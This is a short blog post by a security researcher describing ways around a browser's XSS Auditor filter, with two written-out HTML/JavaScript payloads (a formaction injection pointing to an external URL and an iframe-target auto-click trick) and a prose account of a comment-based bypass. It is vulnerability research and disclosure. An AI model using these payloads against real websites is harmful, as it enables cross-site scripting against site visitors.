Published 13 years 2 months ago • Last updated March 22, 2025 • ⏱️ 2 min read
I had a look at XSS Auditor for a bit of fun because Mario said it's getting harder to bypass. Hmmm I don't agree. I seem to remember the same flaws are present from the last time I checked it with a little variation. It is also a very limited XSS filter not supporting detection of script based attacks (very common). Another thing I noticed is it doesn't actually detect attacks either it simply flags a valid attack based on a character WTF. Anyway I had a couple of hours to check and although it detected basic attacks I could bypass the external domain restriction it has on iframes, external form action restriction and execute XSS too.
I'm embarrassed it's too easy. Simply injecting formaction you can use an external url. Action is restricted to relative urls formaction is not. Doh.
<form><input type=submit formaction=//google.com><textarea name=x>
I'm embarrassed it's too easy. Using a target to change the injected iframe address works because the parent/child relationship even across domains still works and you can force the click changing the url of the injected iframe using the target name of the iframe.
<iframe src="http://challenge.hackvertor.co.uk/test.php?x=<iframe name=x></iframe>"></iframe><a href="http://businessinfo.co.uk" target=x id=x></a><script>window.onload=function(){x.click()}</script>
You can inject a anchor with a javascript url if the injection occurs next to an existing anchor element these are accounted for by the filter by trying to detect if the is a & or forward slash etc. They tried to cover all js comment but forgot two things, first ––> is a single line comment in javascript and the paragraph/line separators can activate it just like a new line since it needs to start on it's own line to work on Chrome.
Here is Mario Heiderich's full bypass with an awesome vector. Added here with his permission.